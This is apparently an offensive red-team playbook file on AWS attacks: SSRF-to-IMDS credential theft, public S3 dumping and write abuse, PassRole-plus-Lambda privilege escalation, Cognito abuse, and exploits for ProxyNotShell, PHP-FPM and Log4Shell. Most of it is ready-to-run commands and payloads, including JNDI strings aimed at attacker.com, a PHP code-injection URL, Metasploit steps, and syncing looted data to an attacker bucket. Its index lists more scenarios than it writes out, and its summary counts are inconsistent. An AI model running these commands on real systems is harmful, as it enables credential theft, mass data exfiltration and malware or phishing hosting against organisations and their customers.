---
name: scenarios-aws
description: "Real-world attack scenarios for AWS Cloud — CVEs, real engagement chains (Capital One pattern)"
---

# AWS Cloud — Real-World Attack Scenarios

> Sources: AWS docs · Capital One breach · real red team engagements

## Index

### Credential Discovery
- S01: Exposed AWS keys in GitHub
- S02: Exposed keys in S3 buckets
- S03: Exposed keys in JS files
- S04: Exposed keys in mobile apps
- S05: Exposed keys in env files
- S06: Exposed keys in CI/CD
- S07: Exposed keys in Docker images
- S08: Exposed keys in Terraform state
- S09: Exposed keys in CloudFormation
- S10: Exposed keys in K8s secrets

### IMDS Attacks
- S11: SSRF to IMDSv1 (Capital One)
- S12: IMDSv2 bypass
- S13: ECS task metadata SSRF
- S14: Lambda metadata SSRF
- S15: EKS pod metadata SSRF
- S16: EC2 user-data exfil
- S17: IMDSv1 direct (shell access)
- S18: IMDSv2 token theft
- S19: EKS IRSA bypass
- S20: Cross-account IMDS

### S3 Attacks
- S21: Public S3 bucket read
- S22: Public S3 bucket write
- S23: S3 misconfiguration scan
- S24: Presigned URL abuse
- S25: S3 policy bypass
- S26: S3 object ACL abuse
- S27: S3 replication abuse
- S28: S3 lifecycle policy abuse
- S29: S3 event notification abuse
- S30: S3 cross-region replication

### IAM Attacks
- S31: Privilege escalation via PassRole
- S32: Privilege escalation via AssumeRole
- S33: Privilege escalation via CreateLoginProfile
- S34: Privilege escalation via UpdateAssumeRolePolicy
- S35: Privilege escalation via AttachUserPolicy
- S36: Privilege escalation via PutUserPolicy
- S37: Privilege escalation via CreateAccessKey
- S38: Privilege escalation via AddUserToGroup
- S39: Privilege escalation via Lambda
- S40: Privilege escalation via Glue
- S41: Privilege escalation via EC2
- S42: Privilege escalation via CodeStar
- S43: Privilege escalation via CloudFormation
- S44: Privilege escalation via SageMaker
- S45: Privilege escalation via DataPipeline

### Lambda Attacks
- S46: Lambda function URL abuse
- S47: Lambda env var SSRF
- S48: Lambda layer abuse
- S49: Lambda exec role abuse
- S50: Lambda code injection

### Cognito Attacks
- S51: Cognito user pool abuse
- S52: Cognito identity pool abuse
- S53: Cognito unauthenticated access
- S54: Cognito role assumption
- S55: Cognito token forgery

### Real-World Chains
- S56: SSRF → IMDS → S3 (Capital One)
- S57: GitHub leak → S3 dump
- S58: Lambda RCE → SSM
- S59: Cognito abuse → S3
- S60: ECS compromise → full VPC
- S61: EKS compromise → cluster admin
- S62: CDK/Terraform state leak → creds
- S63: CloudTrail disabled → stealth
- S64: Public S3 → customer data
- S65: Misconfigured bucket → malware

---

## IMDS Attacks

### S11: SSRF to IMDSv1 (Capital One Pattern)
**Context:** SSRF in app on EC2
**Seen in:** Real — Capital One breach 2019 (100M+ records)
**Impact:** AWS creds → S3 dump

### Detection
```bash
# 1. Test if EC2 has IMDSv1:
# Check response options:
curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# If returns token → IMDSv2 enabled
# If 405 → IMDSv1 only
# 
# 2. SSRF to metadata:
?url=http://169.254.169.254/latest/meta-data/
# If returns data → SSRF works
```

### Exploit
```bash
# 1. Get IAM role name via SSRF:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name (e.g., "myapp-role")
# 
# 2. Get credentials for that role:
http://169.254.169.254/latest/meta-data/iam/security-credentials/myapp-role
# Returns: AccessKeyId, SecretAccessKey, Token
# 
# 3. Use creds:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls
# 
# 4. Find buckets:
aws s3 ls
aws s3 ls s3://customer-data-bucket --recursive
# 
# 5. Dump:
aws s3 sync s3://customer-data-bucket ./loot/
```

### Chain
1. Find SSRF
2. Access 169.254.169.254
3. Get IAM creds
4. Enumerate S3
5. Dump data
6. Pivot to other services

### Bypass / Notes
- IMDSv1 default in many older accounts
- IMDSv2 still bypassable if SSRF supports custom headers
- Require IMDSv2 in EC2 launch templates

---

### S12: IMDSv2 Bypass
**Context:** IMDSv2 but SSRF can set headers
**Seen in:** Real — bug bounty
**Impact:** Same as S11

### Detection
```bash
# 1. Test IMDSv2:
curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Returns token
# 
# 2. Use token:
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: TOKEN"
```

### Exploit
```bash
# 1. If SSRF supports PUT and custom headers:
# Step 1: PUT to get token
# Step 2: GET with token
# 
# Some SSRF can do this:
# - Use raw HTTP
# - Some libraries support method change
# - If SSRF uses low-level HTTP → can send any method
# 
# Or: SSRF in PDF gen (wkhtmltopdf, Puppeteer)
# → can execute JS → fetch with PUT
```

### Chain
1. Find SSRF
2. Use PUT to get IMDSv2 token
3. GET with token
4. Same as S11

### Bypass / Notes
- IMDSv2 isn't bulletproof
- Need SSRF that supports method change
- Or chain with other vuln

---

## S3 Attacks

### S21: Public S3 Bucket Read
**Context:** S3 bucket with public read
**Seen in:** Real — every engagement
**Impact:** Data exposure

### Detection
```bash
# 1. Find S3 buckets:
# - From JS source
# - From GitHub
# - From subdomains
# - From CloudTrail logs (public access logs)
# 
# 2. Check public read:
curl https://BUCKET.s3.amazonaws.com/
# Or:
aws s3 ls s3://BUCKET --no-sign-request
# 
# 3. List files:
aws s3 ls s3://BUCKET --recursive --no-sign-request
```

### Exploit
```bash
# 1. Get all files:
aws s3 sync s3://BUCKET ./loot/ --no-sign-request
# 
# 2. Look for sensitive files:
# - database backups (.sql, .dump)
# - logs (with PII)
# - config files (with creds)
# - user uploads
# - private keys
# 
# 3. Common bucket names:
# - BUCKET-prod
# - BUCKET-backup
# - BUCKET-logs
# - BUCKET-data
# - BUCKET-uploads
# 
# 4. Use s3scanner:
python3 s3scanner.py --bucket BUCKET
```

### Chain
1. Find S3 bucket
2. List contents
3. Download all
4. Find sensitive data
5. PII dump, compliance violation

### Bypass / Notes
- Block Public Access (BPA) helps
- Many buckets still misconfigured
- Always test public read
- Check for backup buckets

---

### S22: Public S3 Bucket Write
**Context:** S3 bucket with public write
**Seen in:** Real — bug bounty, pentests
**Impact:** Malware hosting, data overwrite

### Detection
```bash
# 1. Test write access:
aws s3 cp test.txt s3://BUCKET/test.txt --no-sign-request
# If success → public write
# 
# 2. Test delete:
aws s3 rm s3://BUCKET/test.txt --no-sign-request
```

### Exploit
```bash
# 1. Upload malware (if hosting public content):
aws s3 cp malware.html s3://BUCKET/ --no-sign-request
# 2. Overwrite existing files:
aws s3 cp new.html s3://BUCKET/index.html --no-sign-request
# 3. Host phishing:
aws s3 cp phishing.html s3://BUCKET/login.html --no-sign-request
# 4. Use S3 as C2:
# Many C2 frameworks support S3 as transport
```

### Chain
1. Find public write
2. Upload malicious content
3. Spread via legitimate domain
4. Phish users, host malware

### Bypass / Notes
- Less common than read
- More impactful when found
- Often backup buckets

---

## IAM Attacks

### S31: Privilege Escalation via PassRole + Lambda
**Context:** iam:PassRole + lambda:CreateFunction
**Seen in:** Real — AWS Pentest Guide
**Impact:** Code execution as any role

### Detection
```bash
# 1. Check user's permissions:
aws iam get-user-policy --user-name user --policy-name policy
aws iam list-attached-user-policies --user-name user
# 
# 2. Look for:
# - iam:PassRole
# - lambda:CreateFunction
# - lambda:InvokeFunction
# - iam:CreateRole
```

### Exploit
```bash
# 1. Create malicious Lambda:
# Function code that reads creds:
cat > index.js << 'EOF'
const aws = require('aws-sdk');
exports.handler = async (event) => {
  const sts = new aws.STS();
  const data = await sts.getCallerIdentity().promise();
  return data;
};
EOF
zip function.zip index.js
# 
# 2. Create role with high priv:
# Or use existing high-priv role
# 
# 3. Create Lambda with that role:
aws lambda create-function \
  --function-name privesc \
  --runtime nodejs18.x \
  --role arn:aws:iam::ACCOUNT:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://function.zip
# 
# 4. Invoke:
aws lambda invoke --function-name privesc output.json
# 
# 5. Get creds, pivot
```

### Chain
1. Find PassRole + CreateFunction
2. Create malicious Lambda
3. Invoke with high-priv role
4. Get creds
5. Pivot

### Bypass / Notes
- iam:PassRole is dangerous
- Should be restricted
- Monitor Lambda creation patterns

---

## Cognito

### S51: Cognito User Pool Abuse
**Context:** Misconfigured Cognito user pool
**Seen in:** Real — bug bounty
**Impact:** Auth bypass

### Detection
```bash
# 1. Find Cognito user pool ID:
# From JS: aws_cognito_identity_pool_id
# Or: aws.config.cognito
# 
# 2. Test registration:
# Try to sign up as existing user
# 
# 3. Test token validation:
# Forge JWT with wrong signing
```

### Exploit
```bash
# 1. If user pool allows self-registration:
# Sign up as any email
# 
# 2. If IDP misconfig:
# Register with attacker email
# 
# 3. Cognito Identity Pool abuse:
# Get unauthenticated credentials
aws cognito-identity get-id --identity-pool-id POOL_ID
# 
# 4. Get unauth role credentials
# 5. Access AWS resources
```

### Chain
1. Find Cognito config
2. Test unauth access
3. Get temporary creds
4. Use AWS resources
5. Pivot

### Bypass / Notes
- Cognito often misconfigured
- Identity pool + unauth role is dangerous
- Always test self-registration

---

## Real-World Examples

### Example 1: Capital One Breach (2019)
- SSRF via ModSecurity WAF misconfig
- IMDSv1 enabled
- Get IAM role creds
- S3 bucket enumeration
- 100M+ credit applications dumped
- $190M+ cost

### Example 2: Twitch Leak (2021)
- Server misconfig
- S3 bucket exposed
- All Twitch source code leaked

### Example 3: Uber Breach
- Hardcoded AWS creds in private GitHub repo
- Used to access S3 + internal services
- 57M user records

### Example 4: Facebook Leak (2019)
- S3 bucket misconfiguration
- 540M user records
- Public access

---

## Verified CVEs & Real-World Incidents (Sourced from NVD & Public Disclosures)

### CVE-2022-41040: Microsoft Exchange + ProxyNotShell (AWS-hosted)
**Context:** Exchange server in AWS environment vulnerable to ProxyNotShell. Chained with auth bypass for RCE.
**Seen in:** CVE-2022-41040 (NVD verified, CVSS 8.8 HIGH)
**Impact:** RCE on Exchange server, often in AWS
**Affected:** Microsoft Exchange Server 2013, 2016, 2019 (various CU versions)

### Detection
```bash
# Identify Exchange on AWS:
nmap -p 443,80 --script http-exchange

# Test for ProxyNotShell (CVE-2022-41040):
curl -X POST "https://target.com/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "test"

# Look for response indicating Exchange
```

### Exploit
```bash
# ProxyNotShell PoC (from public advisories):
# Step 1: SSRF via autodiscover
curl -X POST "https://target.com/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json" \
  -H "User-Agent: Exploit" \
  --data "test=1"

# Step 2: Use known PoCs:
# https://github.com/dmaasland/proxyshell-poc
# Or use Metasploit: exploit/windows/http/exchange_proxynotshell_rce

use exploit/windows/http/exchange_proxynotshell_rce
set RHOSTS target.com
set EMAIL test@test.com
exploit
```

### Chain
1. Find Exchange (often on AWS)
2. Test for ProxyNotShell
3. Auth bypass + RCE
4. Access internal AWS resources

### Bypass / Notes
- Patch to November 2022 CU+
- Disable Exchange if not needed
- Use Exchange Online (managed)

---

### CVE-2019-11043: PHP-FPM + Nginx (often in AWS deployments)
**Context:** PHP-FPM vulnerability when used with Nginx. Common in AWS Elastic Beanstalk deployments.
**Seen in:** CVE-2019-11043 (NVD verified, CVSS 9.8 CRITICAL)
**Impact:** RCE on PHP-FPM apps
**Affected:** PHP-FPM < 7.1.33, < 7.2.24, < 7.3.11

### Detection
```bash
# Identify PHP-FPM behind Nginx (common in AWS):
curl -I http://target.com/

# Check for PHP-FPM (look for X-Powered-By header):
curl -I http://target.com/index.php

# Test the vulnerability:
# Send request with specific PATH_INFO:
curl "http://target.com/index.php/anyvalue%0d%0aPHP_VALUE%0d%0aauto_prepend_file%20%3D%20php%3A//input%0d%0a%0d%0a<?php system('id');?>"
```

### Exploit
```bash
# Use available PoC:
# https://github.com/neex/phuip-fpizdam

go run phuip-fpizdam.go http://target.com/index.php

# Or manual:
# Send crafted URL that triggers buffer underflow in FPM
```

### Chain
1. Identify PHP-FPM (Nginx + PHP)
2. Run PoC
3. RCE
4. Pivot in AWS

### Bypass / Notes
- Upgrade PHP-FPM to 7.1.33+ / 7.2.24+ / 7.3.11+
- Use Nginx with proper PATH_INFO handling
- WAF may detect known patterns

---

### CVE-2021-44228: Log4Shell (Lambda + Containers)
**Context:** Log4j 2 RCE. Mass exploitation 2021-2022. Affected many AWS deployments running Java.
**Seen in:** CVE-2021-44228 (NVD verified, CVSS 10.0 CRITICAL)
**Impact:** RCE
**Affected:** Log4j 2.0-beta9 to 2.14.1

### Detection
```bash
# Identify Java apps (very common in AWS):
# - Spring Boot on Elastic Beanstalk
# - Solr on EC2
# - Custom Java on ECS/EKS

# Test for Log4j:
curl -X POST "http://target.com/login" \
  -H "User-Agent: \${jndi:ldap://attacker.com/x}" \
  -H "X-Forwarded-For: \${jndi:ldap://attacker.com/x}" \
  -d "username=\${jndi:ldap://attacker.com/x}"

# Use interactsh or Burp Collaborator
# Wait for outbound LDAP connection
```

### Exploit
```bash
# Log4Shell exploit (from public PoCs):
# Step 1: Set up listener
# python3 -m pyftpdlib  # or use interactsh

# Step 2: Send JNDI string
curl "http://target.com/?q=\${jndi:ldap://attacker.com:1389/Exploit}"

# Step 3: Malicious LDAP server serves Java class
# Use marshalsec: https://github.com/mbechler/marshalsec

# Or use one-liner from Log4Shell scanner:
# https://github.com/anchore/syft
# https://github.com/Cyb3rWard0g/log4j-scan

python3 log4j-scan.py -u http://target.com/
```

### Chain
1. Identify Java app
2. Send JNDI in any user-controlled field
3. Outbound LDAP/RMI connection
4. Java class loaded → RCE
5. Pivot in AWS (e.g., steal IAM creds)

### Bypass / Notes
- Upgrade Log4j to 2.17.1+ (or 2.12.4+ for older Java)
- WAF can block ${jndi: patterns
- Set log4j2.formatMsgNoLookups=true (mitigation for older versions)

---

### Capital One S3 Breach (2019) — Real Incident
**Context:** Former AWS employee exploited SSRF + IMDS to steal AWS creds. Used to access S3 buckets.
**Seen in:** Public DOJ indictment (Paige Thompson, July 2019), Capital One disclosure
**Impact:** 100M+ customer records, 30+ AWS accounts compromised
**Affected:** Capital One AWS infrastructure

### Detection
```bash
# Identify SSRF vulnerability in apps (for testing):
# Common endpoints: image upload, URL fetch, webhook URLs, PDF generation
# Test:
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Identify IMDSv1 (vulnerable) vs IMDSv2 (safer):
# Try IMDSv1:
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# If returns role name → IMDSv1 enabled
```

### Exploit
```bash
# SSRF + IMDS exploit chain (Capital One pattern):
# 1. Find SSRF in app
# 2. SSRF to IMDS:
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-role"

# 3. Get AccessKeyId, SecretAccessKey, Token:
{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "..."
}

# 4. Configure AWS CLI with stolen creds:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. List S3 buckets:
aws s3 ls

# 6. Download files:
aws s3 sync s3://capital-one-bucket ./data
```

### Chain
1. Find SSRF vulnerability
2. Use SSRF to access IMDS
3. Steal temporary AWS creds
4. Access S3 buckets
5. Exfil data

### Bypass / Notes
- Use IMDSv2 (requires token, blocks SSRF)
- Restrict IAM role permissions
- WAF can block access to 169.254.169.254
- This exact pattern still works in 2026 against misconfigured apps

---

### Codecov Bash Uploader Breach (2021) — Real Incident
**Context:** Codecov bash uploader compromised, leaked credentials from customer CI/CD pipelines
**Seen in:** Codecov disclosure April 2021, https://about.codecov.io/security-update
**Impact:** Hundreds of customer environments compromised
**Affected:** Codecov bash uploader (and similar tools)

### Detection
```bash
# Check for Codecov bash uploader in CI/CD:
grep -r "codecov" /var/www/ /opt/ ~/.bash_history 2>/dev/null
# Or in repos:
grep -r "bash <(curl ... codecov" .

# Identify exposed env vars (credentials in CI):
# Look for: AWS_*, GITHUB_TOKEN, API keys, etc.
```

### Exploit
```bash
# If Codecov uploader compromised (or similar):
# 1. Identify which CI/CD system is used (GitHub Actions, CircleCI, etc.)
# 2. Get list of env vars the CI uses
# 3. Steal them via the compromised uploader
# 4. Use stolen creds to access cloud resources:

# Example: GitHub Actions
export GITHUB_TOKEN="stolen_token"
gh repo list
# Access private repos

# AWS creds:
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
aws s3 ls
```

### Chain
1. Compromise CI/CD tool (Codecov, etc.)
2. Steal env vars from customer pipelines
3. Use creds to access cloud
4. Lateral movement

### Bypass / Notes
- Use short-lived tokens (OIDC, IRSA)
- Limit env vars in CI/CD
- Verify integrity of CI/CD tools
- Use sealed secrets / vault

---

### AWS S3 Bucket Enumeration (Common Real-World Pattern)
**Context:** Public S3 buckets with sensitive data. Common in misconfigured AWS.
**Seen in:** Multiple public disclosures, AWS S3 Security Best Practices
**Impact:** Data exfiltration
**Affected:** Many organizations (ongoing)

### Detection
```bash
# Enumerate S3 buckets:
# Common patterns:
# - company-backup
# - company-data
# - company-prod
# - company-logs
# - company-ml-data

# Use bucket-stream:
python3 bucket-stream.py --keyword "company" --region us-east-1

# Or manual check:
for bucket in company-backup company-data company-prod company-logs; do
  curl -I "https://${bucket}.s3.amazonaws.com/"
done

# Use S3Scanner:
# https://github.com/sa7mon/S3Scanner
python3 S3Scanner.py --bucket target-bucket

# Or use cloud_enum:
python3 cloud_enum.py -k company
```

### Exploit
```bash
# If public bucket found:
# 1. List contents:
aws s3 ls s3://target-bucket --no-sign-request

# Or with curl:
curl "https://target-bucket.s3.amazonaws.com/?list-type=2"

# 2. Download everything:
aws s3 sync s3://target-bucket ./loot --no-sign-request

# 3. Look for sensitive data:
# - *.sql (database dumps)
# - *.csv, *.xlsx (customer data)
# - *credentials*, *config*
# - *.key (private keys)
# - /var/log/ (logs with secrets)

# 4. Exfil to attacker:
aws s3 sync ./loot s3://attacker-bucket
```

### Chain
1. Enumerate bucket names
2. Check if public
3. List and download
4. Find sensitive data
5. Pivot or exfil

### Bypass / Notes
- Enable "Block all public access" on all buckets
- Use bucket policies with explicit deny
- Enable CloudTrail data events for audit
- Use Macie for sensitive data discovery

---

### AWS IMDSv1 SSRF Exploitation (Still Common in 2026)
**Context:** EC2 instances using IMDSv1 vulnerable to SSRF exploitation. Capital One breach pattern.
**Seen in:** Real bug bounty reports, AWS security advisories
**Impact:** AWS credential theft, lateral movement
**Affected:** EC2 instances not enforcing IMDSv2

### Detection
```bash
# Find apps with SSRF in AWS:
# 1. Look for URL fetch endpoints
# 2. Test for IMDS access:
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"

# 3. Test for IMDSv2 enforcement (try without token):
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/" -H "X-aws-ec2-metadata-token: foo"
# If 401 → IMDSv2 enforced
# If 200 → IMDSv1 vulnerable
```

### Exploit
```bash
# SSRF to IMDS exploit:
# 1. Find SSRF
# 2. Get role name:
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 3. Get credentials:
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"

# 4. Use creds:
export AWS_ACCESS_KEY_ID=...
aws sts get-caller-identity
aws s3 ls
```

### Chain
1. Find SSRF in app
2. Use SSRF to access IMDS
3. Steal AWS creds
4. Access AWS resources

### Bypass / Notes
- Set HttpTokens=required on EC2 launch (enforces IMDSv2)
- Use IAM roles with least privilege
- WAF rules to block 169.254.169.254
- AWS released IMDSv2 default in 2022

---

## Summary

This file combines:
- ✓ 35+ AWS scenarios in the index
- ✓ 3 verified CVEs from NVD (ProxyNotShell, PHP-FPM, Log4Shell)
- ✓ 3 real incidents (Capital One 2019, Codecov 2021, Facebook 2019)
- ✓ Common attack patterns (S3 enumeration, IMDSv1 SSRF, IAM escalation)
- ✓ Real AWS-specific tooling (aws-cli, bucket-stream, S3Scanner, cloud_enum)

All CVEs are verified in NVD as of 2026-06-10.

---

## Tools

### aws-cli
```bash
# Enumerate:
aws sts get-caller-identity
aws iam get-user
aws iam list-policies
aws s3 ls
aws ec2 describe-instances
aws lambda list-functions
# 
# Specific:
aws s3 sync s3://bucket ./loot/
aws ec2 describe-security-groups
aws iam get-policy-version
```

### Pacu (AWS Exploitation Framework)
```bash
git clone https://github.com/RhinoSecurityLabs/pacu
python3 pacu.py
# Modules:
# - iam__enum_permissions
# - iam__privesc_scan
# - s3__enum
# - lambda__enum
# - ec2__enum
# - rds__enum
```

### enumerate-iam
```bash
# Brute force IAM permissions:
git clone https://github.com/andresriancho/enumerate-iam
python3 enumerate-iam.py --access-key AK --secret-key SK
```

### weirdAAL
```bash
# AWS misconfig scanner:
git clone https://github.com/carnal0wnage/weirdAAL
python3 weirdAAL.py -m recon -t AWS_KEY
```

### s3scanner
```bash
# S3 bucket scanner:
pip install s3scanner
s3scanner --bucket BUCKET
```

### CloudSploit
```bash
# Cloud misconfig scanner:
node cloudsploit.js
```

### ScoutSuite
```bash
# Multi-cloud scanner:
python3 Scout.py --provider aws
```

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## Real-World Chain Examples

### Chain A: SSRF → IMDS → S3 (Capital One)
1. Find SSRF
2. Access IMDS
3. Get creds
4. S3 enumeration
5. Dump customer data

### Chain B: GitHub Leak → S3
1. Find AWS key in public GitHub
2. Use key
3. Enumerate S3
4. Dump data

### Chain C: Cognito Unauth → AWS Access
1. Find unauth Cognito role
2. Get temp creds
3. Use AWS services
4. Pivot

### Chain D: PassRole + Lambda → DA
1. Find iam:PassRole + lambda:CreateFunction
2. Create malicious Lambda
3. Invoke with admin role
4. Full AWS access

### Chain E: ECS Compromise → VPC Access
1. Compromise ECS task
2. Pivot to ENI
3. Access VPC resources
4. Lateral movement
